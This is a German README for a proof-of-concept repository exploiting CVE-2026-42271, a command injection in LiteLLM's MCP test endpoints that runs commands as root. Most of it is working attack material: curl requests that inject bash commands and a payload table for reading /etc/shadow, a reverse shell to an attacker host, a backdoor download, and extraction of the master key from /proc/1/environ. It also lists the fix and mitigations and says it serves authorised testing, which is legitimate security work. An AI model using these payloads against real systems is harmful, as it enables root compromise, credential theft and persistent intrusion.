
Der Code zur persönlichen Reproduktion der entsprechenden Sicherheitslücke
LiteLLM
POST /mcp-rest/test/connection&POST /mcp-rest/test/tools/list— Authentifizierte Befehlseinschleusung über MCP stdio-Transport. Jeder gültige API-Schlüssel kann beliebige Betriebssystembefehle als root (im Standard-Docker-Deployment) ausführen.Das Image ist per Digest fixiert: Der verwundbare Container ist auf LiteLLM v1.82.6 festgelegt, um langfristige Reproduzierbarkeit zu gewährleisten.
| Feld | Wert |
|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (Befehlseinschleusung im Betriebssystem) |
| Betroffen | LiteLLM >= 1.74.2, < 1.83.7 |
| Behoben | v1.83.7+ (Befehls-Whitelist + PROXY_ADMIN-Rollenprüfung hinzugefügt) |
| Veröffentlicht | 2026-05-08 |
| Fixierte Version | v1.82.6 — Image per Digest fixiert, langfristig reproduzierbar |
| Links | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
Zwei Endpunkte, die zur Vorschau eines MCP-Servers vor dem Speichern verwendet werden — POST /mcp-rest/test/connection und POST /mcp-rest/test/tools/list — akzeptieren eine vollständige MCP-Server-Konfiguration im Anfragetext, einschließlich der Felder command, args und env, die vom stdio-Transport verwendet werden.
Wenn sie mit einer stdio-Konfiguration aufgerufen werden, starten die Endpunkte den angegebenen Befehl als Subprozess auf dem Proxy-Host mit den Rechten des Proxy-Prozesses (root im Standard-Docker).
Kernproblem: Die Endpunkte prüfen nur auf einen gültigen Proxy-API-Schlüssel ohne Rollenprüfung — selbst internal_user-Schlüssel mit niedrigen Berechtigungen können dies ausnutzen.
# 1. Starten einer verwundbaren LiteLLM-Instanz (fixiert auf v1.82.6)
docker compose up -d
# 2. Ausführen des Exploits
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Oder curl direkt verwenden (blinde RCE — Antwort zeigt ggf. Fehler, Befehl wird aber ausgeführt)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Prüfen, ob der Befehl im Container ausgeführt wurde
docker exec litellm-cve cat /tmp/pwned
# Ausgabe: uid=0(root) gid=0(root) groups=0(root),0(root),...
Die API gibt "Failed to connect to MCP server" zurück, weil der gestartete Prozess nicht das MCP-Protokoll spricht — aber der Befehl wurde bereits mit root-Rechten ausgeführt.
| Szenario | Payload |
|---|---|
| Einfache RCE | "args": ["-c", "id > /tmp/pwned"] |
| Dateien lesen | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Umgebungsvariablen exfiltrieren | `"args": ["-c", "cat /proc/1/environ |
| Reverse Shell | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| Persistenz | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionTestet eine MCP-Server-Verbindung. Bei stdio-Transport wird der angegebene Befehl gestartet.
POST /mcp-rest/test/tools/listListet Werkzeuge eines Test-MCP-Servers auf. Gleiches Verhalten — startet den angegebenen Befehl bei stdio-Transport.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<bösartiger Befehl>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| Feld | Typ | Erforderlich | Beschreibung |
|---|---|---|---|
transport | string | Ja | Muss "stdio" für Befehlseinschleusung sein |
command | string | Ja | Auszuführende ausführbare Datei (z. B. bash, python, curl) |
args | array | Ja | Argumente, die an den Befehl übergeben werden |
env | object | Nein | Umgebungsvariablen für den Subprozess |
Der Fix fügte zwei Schutzebenen hinzu:
validate_transport_fields() — erlaubt nur: npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # Diese Datei
├── docker-compose.yml # Ein-Befehl-verwundbare Umgebung (fixiert auf v1.82.6)
├── requirements.txt # Abhängigkeiten
├── exploit/
│ ├── exploit.py # Vollständiges Exploit-Skript
│ └── payload.py # Payload-Erzeugungsmodul
├── docs/
│ └── advisory.md # Advisory-Referenz
└── screenshots/ # Proof-Screenshots
PROXY_ADMIN-Rollenprüfung)/mcp-rest/test/connection und /mcp-rest/test/tools/list am Reverse-Proxydocker run --user 1000:1000 ...Bei Reproduktion von Abschnitt 5.7 (Prozessumgebungsvariablen extrahieren) ist zu beachten: MCP Python SDK v1.25.0+ erbt beim Erstellen von stdio-Subprozessen nicht die Umgebungsvariablen des LiteLLM-Elternprozesses. Das SDK übergibt via get_default_environment() nur HOME und PATH, kombiniert mit den vom Benutzer explizit angegebenen env-Feldern.
Daher kann env > /tmp/env_dump den LITELLM_MASTER_KEY nicht erfassen.
Korrektes Vorgehen: Umgebungsvariablen extrahieren durch Lesen von /proc/1/environ des LiteLLM-Hauptprozesses:
# Umgebungsvariablen extrahieren (über /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# Ergebnis anzeigen
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Ausgabe: LITELLM_MASTER_KEY=sk-litellm-master-key
Details siehe Reproduktionsbericht Abschnitt 5.7.
Haftungsausschluss: Diese Inhalte dienen ausschließlich zu Bildungszwecken und autorisierten Sicherheitstests.